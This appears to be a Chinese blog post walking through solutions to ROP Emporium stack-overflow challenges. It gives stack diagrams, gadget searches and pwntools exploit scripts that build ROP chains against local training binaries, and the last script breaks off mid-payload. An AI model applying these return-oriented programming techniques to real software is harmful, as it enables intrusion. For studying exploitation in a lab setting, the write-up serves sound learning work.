栈溢出
前言
距离上一次发博客挺长时间了,没时间,隔一段时间总结一波也可以,CTF中的漏洞挖掘与利用学习,也就是pwn,通常是用ctfwiki来学习的,里面的内容确实可以,但是入门总感觉看起来太枯燥了,当前学习了栈溢出漏洞,整数溢出漏洞,格式化字符串漏洞,条件竞争漏洞,还有堆结构的学习,还未做一些利用堆的题,除了栈溢出漏洞,其他我都是跟着ctfwiki来的,栈溢出漏洞,我觉得ctfwiki上太多了,太枯燥了,就直接找了 一套ROP入门题来做,下面对题的解析都是我独自完成的,记录了我如何一步步解出题目,以及遇到的困难,其他的漏洞学习总结我就不写了,因为是都是ctfwiki上有的。
学习资源
学习教程:https://blog.csdn.net/song_lee/article/details/99694514
关于栈溢出的深入理解与应用,可以参考:
Linux 二进制程序保护机制:
实战应用
以下都选择的是64/32位的程序:
下面的所有资源均从上面的链接里下载,上面的资源好像有更新,与之前的不一样了,我是没找到最新这种资源的题解,我写的这个也可以作为新手的参考。
ret2win
windows突然更新,我就只能使用pwntools来找到ret2win函数的地址了
from pwn import *
context.log_level='debug'
f = ELF('./ret2win')
print(hex(f.symbols['ret2win']))
因为sendline会多发一个0a字节,所以导致返回地址覆盖错了,经过调试修改,最终得到正确flag
from pwn import *
context.log_level='debug'
#f = ELF('./ret2win')
#print(hex(f.symbols['ret2win']))
p = process("./ret2win")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x400744")
p.recvuntil('> ')
p.sendline(b'*' * 40 + b'\x56\x07\x40\x00\x00\x00\x00\x00')
p.interactive()
split32
32位程序与64位程序的利用方式还真不一样。。。因为32位程序是用压栈来传参的,而64位是用寄存器传参的,就这样的改变,导致的利用方式天差地别,看来利用程序就是因地制宜
第一种方法:
直接利用,看一下,因为system函数里面找到传入参数,是通过ebp+8来找到,那就是在old ebp和返回地址下一个,也是之前返回地址的下一个;
.text:08048615 push offset command ; "/bin/ls"
.text:0804861A call _system
整个函数堆栈过程就是下面这个
|----------------|
|ebp:****
|----------------|
|返回地址:0x08048657 ——-—> 上一个函数执行 ret, sp + 4
|----------------| 下一个函数执行 call, sp - 4,返回地址(就是call system的一下一条指令)又压入原来的栈空间
|system 参数 |push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|
需要用到的参数在:
.data:0804A030 usefulString db '/bin/cat flag.txt',0
需要计算read存储到的地方距离ebp的距离,然后计算写入多少个*
.text:080485AD pwnme proc near ; CODE XREF: main+45↑p
.text:080485AD
.text:080485AD s = byte ptr -28h
.text:080485AD
.text:080485AD ; __unwind {
.text:080485AD push ebp
.text:080485AE mov ebp, esp
.text:080485B0 sub esp, 28h
28h+old ebp的四个字节 = 44字节
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./split32")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x080485E3")
p.recvuntil('> ')
p.sendline(b'*' * 44 + b'\x1A\x86\x04\x08' + b'\x30\xA0\x04\x08')
p.interactive()
第二种方法:
先找到plt表中对应的内容
gdb-peda$ x /15i 0x080483E0
0x80483e0 <system@plt>: jmp DWORD PTR ds:0x804a018
0x80483e6 <system@plt+6>: push 0x18
0x80483eb <system@plt+11>: jmp 0x80483a0
0x80483f0 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a01c
0x80483f6 <__libc_start_main@plt+6>: push 0x20
0x80483fb <__libc_start_main@plt+11>: jmp 0x80483a0
0x8048400 <setvbuf@plt>: jmp DWORD PTR ds:0x804a020
0x8048406 <setvbuf@plt+6>: push 0x28
0x804840b <setvbuf@plt+11>: jmp 0x80483a0
0x8048410 <memset@plt>: jmp DWORD PTR ds:0x804a024
0x8048416 <memset@plt+6>: push 0x30
0x804841b <memset@plt+11>: jmp 0x80483a0
0x8048420: jmp DWORD PTR ds:0x8049ffc
如果直接让溢出的返回地址修改为 plt 中对应的 sytem,此时栈空间如下
|----------------|
|ebp:****
|----------------|
|返回地址:0x080483e0 ——-—> 上一个函数执行 ret, sp + 4
|----------------| xxx这一步不执行 - 不执行 call 指令,就不会压入返回地址,所以sp 也不会归位
|null system 中的 push ebp,此时 ebp 会跑到栈中 原先返回地址 的位置
|---------------|
|system 参数 ebp + 8 找到的参数位置
利用代码如下:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./split32")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x080485E3")
p.recvuntil('> ')
p.sendline(b'*' * 44 + b'\xe0\x83\x04\x08' + b'\x00\x00\x00\x00' + b'\x30\xA0\x04\x08')
p.interactive()
split
int pwnme()
{
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Contriving a reason to ask user for data...");
printf("> ", 0LL);
read(0, &s, 0x60uLL);
return puts("Thank you!");
}
有个函数是usefulFunction,但是我不知道如何修改这个/bin/ls
int usefulFunction()
{
return system("/bin/ls");
}
data段居然有个/bin/cat flag.txt
这是可以利用一个简单的ROP链来实现
因为将system的参数用pop 寄存器来赋上,然后直接调用call system就可以了。
ROPgadget 是一款优秀的 gadget 寻找工具,ROPgadget 安装 错误处理 与使用, 用法如下
p1n9@p1n9-virtual-machine:~/rop_emporium_all_challenges$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x00000000004007c3 : pop rdi ; ret
或者使用 gdb 插件 peda 自带的 ROPsearch 命令
gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x004007c3 : (b'5fc3') pop rdi; ret
最后的利用脚本:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./split")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x400730")
p.recvuntil('> ')
p.sendline(b'*' * 40 + b'\xc3\x07\x40\x00\x00\x00\x00\x00' + \
b'\x60\x10\x60\x00\x00\x00\x00\x00' + b'\x4B\x07\x40\x00\x00\x00\x00\x00')
p.interactive()
callme
“.dll .obj .lib”和“ .so .o .a”文件与动态链接和静态链接
栈溢出的原理还是一样的,但是使用的函数不一样了,
.text:00000000004008F2 usefulFunction proc near
.text:00000000004008F2 ; __unwind {
.text:00000000004008F2 push rbp
.text:00000000004008F3 mov rbp, rsp
.text:00000000004008F6 mov edx, 6
.text:00000000004008FB mov esi, 5
.text:0000000000400900 mov edi, 4
.text:0000000000400905 call _callme_three
.text:000000000040090A mov edx, 6
.text:000000000040090F mov esi, 5
.text:0000000000400914 mov edi, 4
.text:0000000000400919 call _callme_two
.text:000000000040091E mov edx, 6
.text:0000000000400923 mov esi, 5
.text:0000000000400928 mov edi, 4
.text:000000000040092D call _callme_one
.text:0000000000400932 mov edi, 1 ; status
.text:0000000000400937 call _exit
.text:0000000000400937 ; } // starts at 4008F2
.text:0000000000400937 usefulFunction endp
可以看到传入的参数是不对的,我们需要用ROP来构造正确的参数,因为64位程序是利用寄存器来传参的, 并且fastcall是从右向左压入参数的
用ROPgadget找到对应的指令,rdi为第一个参数,rsi是第二个参数,rdx是第三个参数
$ ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
$ ROPgadget --binary callme --only 'pop|ret' | grep rsi
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
$ ROPgadget --binary callme --only 'pop|ret' | grep rdx
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x000000000040093e : pop rdx ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
开始构造堆栈,主要如果要使用call _callme_one是不行的,因为call会压入返回地址,这样就无法让程序使用我们自己构造的返回地址,所以得使用plt表
|----------------|
|ebp:***** |
|----------------|
|0x040093c(给callone参数赋值)
|----------------|
|0xDEADBEEFDEADBEEF
|----------------|
|0xCAFEBABECAFEBABE
|----------------|
|0xD00DF00DD00DF00D
|----------------|
|返回地址:0x0400720 ret的时候,pop rip;add esp, 8
|----------------|
|0x040093c(给calltwo参数赋值)
|----------------|
|0xDEADBEEFDEADBEEF
|----------------|
|0xCAFEBABECAFEBABE
|----------------|
|0xD00DF00DD00DF00D
|----------------|
|返回地址:0x0400740 ret的时候,pop rip;add esp, 8
|----------------|
|0x040093c(给callthree参数赋值)
|----------------|
|0xDEADBEEFDEADBEEF(第一个参数)
|----------------|
|0xCAFEBABECAFEBABE(第二个参数)
|----------------|
|0xD00DF00DD00DF00D(第三个参数)
|----------------|
|返回地址:0x04006F0 ret的时候,pop rip;add esp, 8
|----------------|
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./callme")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x04008E0")
p.recvuntil('> ')
one_plt_addr = 0x0400720
two_plt_addr = 0x0400740
three_plt_addr = 0x04006F0
pop_args_gadget = 0x040093c
args = p64(0xDEADBEEFDEADBEEF) + p64(0xCAFEBABECAFEBABE) + p64(0xD00DF00DD00DF00D)
payload = b'*' * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)
p.sendline(payload)
p.interactive()
相关参考:
p32 p64
就是将一个数字转换为字符,例如
p32(0xdeadbeef)
就会转换为
'\xef\xbe\xad\xde'
这里顺序反了是因为linux编译的程序是小端序的
u32 u64
就是将字符转换为数字,例如
u32('\x12\x34\x56\x78')
结果
0x78563412
callme32
和64位差不多就是得用ebp+8(第一个参数),+c(第二个参数),+10(第三个参数)来找到对应的参数
有个麻烦的是,就是callme函数是__cdecl调用约定,参数是从右向左压入,而且是由调用者来清理堆栈,所以如何将栈内的参数清除掉呢,这里就需要rop来pop了
$ ROPgadget --binary callme32 --only 'pop|ret' | grep edi
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080487fa : pop edi ; pop ebp ; ret
0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
选择0x080487f9的rop链
构造栈
|----------------|
|ebp:**** |
|----------------|
|0x080484F0(给callone的plt地址)
|----------------|
|callone的返回地址:0x080487f9
|----------------|
|0xDEADBEEF
|----------------|
|0xCAFEBABE
|----------------|
|0xD00DF00D
|----------------|
|0x08048550(给calltwo的plt地址)
|----------------|
...
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./callme32")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x04008E0")
p.recvuntil('> ')
one_plt_addr = 0x080484F0
two_plt_addr = 0x08048550
three_plt_addr = 0x080484E0
pop_args_gadget = 0x080487f9
args = p32(0xDEADBEEF) + p32(0xCAFEBABE) + p32(0xD00DF00D)
payload = b'*' * 44
payload += p32(one_plt_addr) + p32(pop_args_gadget) + args
payload += p32(two_plt_addr) + p32(pop_args_gadget) + args
payload += p32(three_plt_addr) + p32(pop_args_gadget) + args
p.sendline(payload)
p.interactive()
write4
首先pwnme和print_file都在libwrite4.so中, 基本思路就是要进入print_file的plt, 然后将rdi的值赋值为flag.txt,先找到pop rdi; ret
$ ROPgadget --binary write4 --only 'pop|ret' | grep rdi
0x0000000000400693 : pop rdi ; ret
怎么才能把flag.txt赋值到内存中呢,搜索一下带有mov的gadget吧
$ ROPgadget --binary write4 --only 'pop|mov|ret'
Gadgets information
============================================================
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret
Unique gadgets found: 15
这里面可以利用这两条指令:
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
r14写成要保存的地址,我想写在这里000601030, 试一下:
.data:0000000000601030 __dso_handle db 0
.data:0000000000601031 db 0
.data:0000000000601032 db 0
.data:0000000000601033 db 0
.data:0000000000601034 db 0
.data:0000000000601035 db 0
.data:0000000000601036 db 0
.data:0000000000601037 db 0
构造栈空间:
|----------------|
|ebp:**** |
|----------------|
|rop链1:0x0400690(pop r14 ; pop r15 ; ret)
|----------------|
|存储位置: 0x000601030
|----------------|
|目标字符:flag.txt
|----------------|
|rop链2: 0x0400628(mov qword ptr [r14], r15 ; ret)
|----------------|
|rop链3: 0x0400693(pop rdi ; ret)
|----------------|
|0x000601030
|----------------|
|0x0400510(print_file的plt地址)
|----------------|
...
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./write4")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x040060B")
p.recvuntil('> ')
payload = b'*' * 40
payload += p64(0x0400690) + p64(0x000601030) + b'flag.txt'
payload += p64(0x0400628)
payload += p64(0x0400693) + p64(0x000601030)
payload += p64(0x0400510)
p.sendline(payload)
p.interactive()
write432
32位的利用也是差不多,稍微变换一下就可以
先搜索一下可用的Gadget
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x080485ab : pop ebp ; ret
0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485aa : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1
Unique gadgets found: 11
可用的Gadget如下:
0x080485aa : pop edi ; pop ebp ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret
构造栈:
|----------------|
|ebp:**** |
|----------------|
|rop链1:0x080485aa(pop edi ; pop ebp ; ret)
|----------------|
|存储位置: 0x0804A018
|----------------|
|目标字符:flag
|----------------|
|rop链2: 0x08048543(mov dword ptr [edi], ebp ; ret)
|----------------|
|rop链3: 0x080485aa(pop edi ; pop ebp ; ret)
|----------------|
|存储位置: 0x0804A01C
|----------------|
|目标字符:.txt
|----------------|
|rop链4: 0x08048543(mov dword ptr [edi], ebp ; ret)
|----------------|
|0x080483D0(print_file的plt地址)
|----------------|
|null
|----------------|
|0x0804A018
|----------------|
...
存放数据的位置:
.data:0804A018 __data_start db 0 ; Alternative name is '__data_start'
.data:0804A018 ; data_start
.data:0804A019 db 0
.data:0804A01A db 0
.data:0804A01B db 0
.data:0804A01C public __dso_handle
.data:0804A01C __dso_handle db 0
.data:0804A01D db 0
.data:0804A01E db 0
.data:0804A01F db 0
.data:0804A01F _data ends
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./write432")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x08048517")
p.recvuntil('> ')
payload = b'*' * 44
payload += p32(0x080485aa) + p32(0x0804A018) + b'flag' + p32(0x08048543)
payload += p32(0x080485aa) + p32(0x0804A01C) + b'.txt' + p32(0x08048543)
payload += p32(0x080483D0) + p32(0x0) + p32(0x0804A018)
p.sendline(payload)
p.interactive()
badchars
过滤了一些字符,需要绕过这个限制
我觉得可以通过add修改寄存器的值来绕过
$ ROPgadget --binary badchars --only 'add|pop|mov|ret'
Gadgets information
============================================================
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
Unique gadgets found: 30
可以用这种组合一步步将flag.txt赋值到data区
#写入data区
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
#对输入的字符串进行修改
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret
构造栈:
|----------------|
|rbp:**** |
|----------------|
|rop链1:0x040069c(pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret)
|----------------|
|目标字符:fl_e,tvt
|----------------|
|目标地址: 0x0601030
|----------------|
|00
|----------------|
|00
|----------------|
|rop链2: 0x0400634(mov qword ptr [r13], r12 ; ret)
|----------------|
|rop链3:0x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601032
|----------------|
|rop链4:0x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链5:0x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601033
|----------------|
|rop链6:0x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链7:0x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601034
|----------------|
|rop链8:0x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链9:0x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601036
|----------------|
|rop链10:0x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链11:0x04006a3(pop rdi ; ret)
|----------------|
|0x0601030
|----------------|
|0x0400510(print_file的plt地址)
|----------------|
...
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./badchars")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x0040060B")
p.recvuntil('> ')
payload = b'*' * 40
payload += p64(0x040069c) + b'fl_e,tvt' + p64(0x0601030) + p64(0x00) + p64(0x00) + p64(0x0400634)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601032) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601033) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601034) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601036) + p64(0x040062c)
payload += p64(0x04006a3) + p64(0x0601030) + p64(0x0400510)
p.sendline(payload)
p.interactive()
badchars32
$ ROPgadget --binary badchars32 --only 'xor|add|pop|mov|ret'
Gadgets information
============================================================
0x080484e8 : add al, 8 ; add ecx, ecx ; ret
0x0804854d : add bl, al ; mov dword ptr [edi], esi ; ret
0x08048545 : add bl, al ; xor byte ptr [ebp], bl ; ret
0x0804847f : add bl, dh ; ret
0x0804847d : add byte ptr [eax], al ; add bl, dh ; ret
0x0804847c : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x08048398 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804847e : add byte ptr [eax], al ; ret
0x08048543 : add byte ptr [ebp], bl ; ret
0x080484e5 : add eax, 0x804a020 ; add ecx, ecx ; ret
0x080484ea : add ecx, ecx ; ret
0x080485b5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839a : add esp, 8 ; pop ebx ; ret
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
0x0804854c : pop ebp ; add bl, al ; mov dword ptr [edi], esi ; ret
0x08048544 : pop ebp ; add bl, al ; xor byte ptr [ebp], bl ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1
0x08048547 : xor byte ptr [ebp], bl ; ret
0x080485cf : xor ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
Unique gadgets found: 29
可以利用的指令:
赋值:
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
修改:
0x0804839d : pop ebx ; ret
0x080485bb : pop ebp ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret
构造栈:
|----------------|
|ebp:**** |
|----------------|
|rop链1:0x080485b9(pop esi ; pop edi ; pop ebp ; ret)
|----------------|
|目标字符:flag异或后的字符
|----------------|
|存储位置: 0804A018
|----------------|
|null
|----------------|
|rop链2: 0x0804854f(mov dword ptr [edi], esi ; ret)
|----------------|
|rop链3:0x080485b9(pop esi ; pop edi ; pop ebp ; ret)
|----------------|
|目标字符:.txt异或后的字符
|----------------|
|存储位置: 0804A01C
|----------------|
|null
|----------------|
|rop链4: 0x0804854f(mov dword ptr [edi], esi ; ret)
|----------------|
|rop链5: 0x0804839d : pop ebx ; ret
|----------------|
|xor_byte
|----------------|
|rop链6: 0x080485bb : pop ebp ; ret
|----------------|
|修改位置
|----------------|
|0x08048547 : xor byte ptr [ebp], bl ; ret
|----------------|
|...
|----------------|
|0x080483D0(print_file的plt地址)
|----------------|
|null
|----------------|
|0x0804A018
|----------------|
...
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./badchars32")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x0040060B")
p.recvuntil('> ')
xor_byte = 0x02
flag = "flag.txt"
target = []
for i in range(0, len(flag), 4):
tmp = ''
for j in range(0, 4):
tmp += chr(ord(flag[i + j]) ^ xor_byte)
target.append(tmp)
print_file_plt_address = 0x080483D0
pop_esi_edi_ebp = 0x080485b9
mov_edi_esi = 0x0804854f
pop_ebx = 0x0804839d
pop_ebp = 0x080485bb
xor_ebp_bl = 0x08048547
data_address = 0x0804A018
payload = b'*' * 44
for i in range(len(target)):
payload += p32(pop_esi_edi_ebp) + bytes(target[i], encoding='utf8') + p32(data_address + 4 * i) + p32(0x00) + p32(mov_edi_esi)
payload += p32(pop_ebx) + p32(xor_byte)
for i in range(len(flag)):
payload += p32(pop_ebp) + p32(data_address + i) + p32(xor_ebp_bl)
payload += p32(print_file_plt_address) + p32(0x00) + p32(data_address)
p.sendline(payload)
p.interactive()
fluff
找一下Gadget, 没找到可以利用的,这一题与 write432 类似,但是这一次没有一眼就能看出来的 gadget,需要费心构造了,所以,这题重点考察隐秘 gadget 的寻找
$ ROPgadget --binary fluff --only 'shl|shr|xor|sub|add|pop|mov|ret'
Gadgets information
============================================================
0x000000000040054f : add bl, dh ; ret
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004004e3 : add esp, 8 ; ret
0x00000000004004e2 : add rsp, 8 ; ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400295 : ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret
Unique gadgets found: 27
使用 puts leak出 stdin的值 , 使用 fgets输入 flag.txt , 然后使用print_file(‘flag.txt’) , 3 次 利用栈溢出。(不可行,因为无法获取puts的函数的plt表,这样就调不了)
.text:0000000000400628
.text:0000000000400628 questionableGadgets:
.text:0000000000400628 xlat
.text:0000000000400629 retn
.text:000000000040062A ; ---------------------------------------------------------------------------
.text:000000000040062A pop rdx
.text:000000000040062B pop rcx
.text:000000000040062C add rcx, 3EF2h //0011 1110 1111 0010
.text:0000000000400633 bextr rbx, rcx, rdx
.text:0000000000400638 retn
.text:0000000000400639 ; ---------------------------------------------------------------------------
.text:0000000000400639 stosb
.text:000000000040063A retn
//stosb指令,将AL寄存器的值取出来赋给edi所指向的地址处。mov [edi],AL;edi=edi+1;
//bextr指令用处https://www.felixcloutier.com/x86/bextr
//bextr指的是把第二操作数的
真的 构造不到。。。
发现有个有趣的点,能用的Gadget被作者放到一起了
找到控制rbx就可以,挖掘深度Gadget得用—depth 20
0x000000000040069a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
栈构造:
|----------------|
|rbp:**** |
|----------------|
|mov eax, 0 ; pop rbp ; ret(对eax清零)
|----------------|
|pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret(控制rbx)
|----------------|
|xlat; ret (赋值到al)
|----------------|
|pop rdi ; ret(对edi赋值)
|----------------|
|stosb(进行,将al值赋值到edi)
|----------------|
我自己找的这种居然超栈了,还是的用他的这种gadget。。。
|----------------|
|rbp:**** |
|----------------|
|mov eax, 0 ; pop rbp ; ret(对eax清零)
|----------------|
|pop rdx; pop rcx; add rcx, 3EF2h; bextr rbx, rcx, rdx; ret(控制rbx)
|----------------|
|xlat; ret (赋值到al)
|----------------|
|pop rdi ; ret(对edi赋值)
|----------------|
|stosb(进行,将al值赋值到edi)
|----------------|
|mov eax, 0 ; pop rbp ; ret(对eax清零)
|----------------|
|pop rdx; pop rcx; add rcx, 3EF2h; bextr rbx, rcx, rdx; ret(控制rbx)
|----------------|
|xlat; ret (赋值到al)
|----------------|
|stosb(进行,将al值赋值到edi)
|----------------|
....
我去,还不能用mov eax,0太多次,不然就超栈空间了
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./fluff")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x0040060B")
p.recvuntil('> ')
f_address = 0x4005F6 - 0x3ef2
l_address = 0x4003C1 - 0x3ef2
a_address = 0x4005D2 - 0x3ef2
g_address = 0x4007A0 - 0x3ef2
dot_address = 0x4005F7 - 0x3ef2
x_address = 0x4006C8 - 0x3ef2
t_address = 0x4006CB - 0x3ef2
save_address = 0x0601028
rcx_value = 0x4000
print_file_plt = 0x400510
#gadget
mov_eax_zero_pop1 = 0x0400610
pop_rdx_rcx_bextr = 0x040062A
xlat = 0x0400628
pop_rdi = 0x04006a3
stosb = 0x0400639
payload = b'*' * 40
payload += p64(mov_eax_zero_pop1) + p64(0x0) + p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(f_address) + p64(xlat) + p64(pop_rdi) + p64(save_address) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(l_address - ord('f')) + p64(xlat) + p64(stosb)
